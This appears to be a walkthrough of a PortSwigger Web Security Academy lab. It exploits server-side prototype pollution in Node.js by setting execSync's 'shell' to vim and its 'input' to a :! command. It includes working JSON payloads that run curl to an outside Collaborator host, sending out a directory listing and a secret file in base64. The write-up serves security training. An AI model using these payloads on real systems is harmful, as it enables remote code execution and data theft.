Skip to content
Field Detail
Platform PortSwigger Web Security Academy
Type Server-Side Prototype Pollution / RCE / Data Exfiltration
Difficulty Expert
Objective Pollute Object.prototype with shell and input to hijack a child_process.execSync call, enumerate Carlos's home directory via Collaborator, read the secret file, and submit it

Exfiltrating Sensitive Data via Server-Side Prototype Pollution

I logged in as wiener:peter — admin privileges already granted:

Screenshot

Testing __proto__ directly with the json spaces gadget — the response came back indented, confirming no filter this time:

Screenshot

The maintenance jobs endpoint triggered db-cleanup and fs-cleanup:

Screenshot

Same two tasks as the previous lab, but the child process here uses child_process.execSync rather than fork. execArgv doesn't apply — a different gadget pair is needed.

child_process.execSync accepts a shell option specifying which binary to use as the shell (default /bin/sh) and an input option providing data to the process's stdin. If these are inherited from a polluted prototype: shell: "vim" makes vim the shell interpreter, and input: ":! <command>\n" sends a vim Ex command via stdin that executes the shell command before vim exits. Combined, this is arbitrary command execution using vim's built-in :! interface — the previous lab used execArgv; here the same effect comes from substituting the shell interpreter itself.

I confirmed the gadget with a Collaborator ping:

{
    "__proto__": {
        "shell": "vim",
        "input": ":! curl jtg0xxkkxfncwu23n5sx1y6u8lec22qr.oastify.com\n"
    }
}

Poison → trigger maintenance jobs:

Screenshot
Screenshot

Collaborator received the DNS and HTTP interaction. Command execution confirmed. The poison-then-trigger pattern requires two separate requests every step: update the prototype via the address form, then fire the jobs endpoint.

Enumerating Carlos's home directory — piping through base64 before sending handles newlines and special characters that would break the HTTP request, and curl -d @- reads the POST body from stdin:

{
    "__proto__": {
        "shell": "vim",
        "input": ":! ls /home/carlos/ | base64 | curl -d @- jtg0xxkkxfncwu23n5sx1y6u8lec22qr.oastify.com\n"
    }
}
Screenshot
Screenshot

Collaborator delivered the base64-encoded listing — decoded, a file called secret. Reading it:

{
    "__proto__": {
        "shell": "vim",
        "input": ":! cat /home/carlos/secret | base64 | curl -d @- jtg0xxkkxfncwu23n5sx1y6u8lec22qr.oastify.com\n"
    }
}
Screenshot
Screenshot
Screenshot

Lab solved and section finished

Resources